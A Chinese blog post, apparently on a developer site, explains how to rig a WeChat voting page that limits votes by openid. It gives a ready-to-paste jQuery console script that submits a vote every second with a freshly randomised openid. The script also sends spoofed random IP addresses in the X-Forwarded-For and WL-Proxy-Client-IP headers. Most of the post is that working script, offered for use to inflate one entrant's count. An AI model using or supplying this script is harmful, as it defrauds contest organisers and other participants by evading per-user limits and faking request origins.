最近几天,有个朋友找我去写一个脚本帮他 在微信上刷票、微信投票刷票,我大概看了一下,本次微信投票刷票其实就是根据微信的openid来限制,每个openid只能投三次票的限制。

1.直接电脑使用谷歌浏览器进去朋友微信投票刷票的投票页面,f12查看页面内容




其实在页面上手动随意修改上图中openid,即可肆意不限制投票。但这样操作微信投票刷票太麻烦了,可以看下js源码



上图可以看出,其实只要openid,和toopenid即可,openid是自己的微信id,toopenid是投票对象的微信id,那我们定时修改openid即可给某一个人刷投票

下面贴代码

  1. //执行脚本
  2. function init(){
  3. initIp();
  4. }
  5. //定时操作,每秒执行一次
  6. function demo(){
  7. }setInterval( "init()", 1000);
  8. //随机生成以ovgMdt开头的27位微信openid(字母大小写+数字)
  9. function createNum(){
  10. var str = "ovgMdt",
  11. range = 21,
  12. arr = [ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
  13. // 随机产生
  14. for(var i= 0; i<range; i++){
  15. pos = Math.round(Math.random() * (arr.length- 1));
  16. str += arr[pos];
  17. }
  18. return str;
  19. }
  20. //提交请求
  21. function initIp(){
  22. var ip=createIp();
  23. var num=createNum();
  24. var $toopenid= 'ovgMdtSysi89sfInf0pdfg5T';
  25. var submitData = {
  26. toopenid: $toopenid,
  27. openid: num
  28. };
  29. $.ajax({
  30. headers:{ 'x-forwarded-for':ip, 'WL-Proxy-Client-IP':ip},
  31. type: "POST",
  32. url: "xxxxxxxxxxxxxx",
  33. data: submitData,
  34. dataType: "json",
  35. beforeSend: function () {},
  36. success: function (data) {
  37. if (data.code == 0) {
  38. $( "#"+$toopenid).text(data.vote);
  39. if(data.today_vote >= 2){
  40. $( ".vote").addClass( "red");
  41. }
  42. $( "#"+$toopenid).parent().find( ".plus").css({ "top": "186px", "opacity": 0});
  43. $( "#"+$toopenid).parent().find( ".plus").stop().animate({ "top": "176px", "opacity": 1}, 300, "swing").animate({ "opacity": 0}, 100);
  44. } else {
  45. alert(data.msg);
  46. }
  47. }
  48. });
  49. }
  50. //生成随机的ip地址
  51. function createIp() {
  52. var a = Math.round(Math.random() * 250) + 1,
  53. b = Math.round(Math.random() * 250) + 1,
  54. c = Math.round(Math.random() * 240) + 1,
  55. d = Math.round(Math.random() * 240) + 1;
  56. return [a, b, c, d].join( '.');
  57. }

这里生成了模拟的ip地址

把这段代码复制到浏览器F12之后的console里,直接回车即可开始微信投票刷票(刷新或关闭浏览器即可停止刷票)

刷票的时候可以看一下network里的header,如下图


观察每个请求的ip地址和openid都是每次都切换的。

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐